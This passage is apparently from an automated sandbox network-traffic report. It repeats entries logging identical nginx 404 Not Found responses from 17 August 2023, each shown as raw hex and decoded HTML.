disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:47 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:49 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:54 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:56 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:59 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:01 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:06 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:08 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:10 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
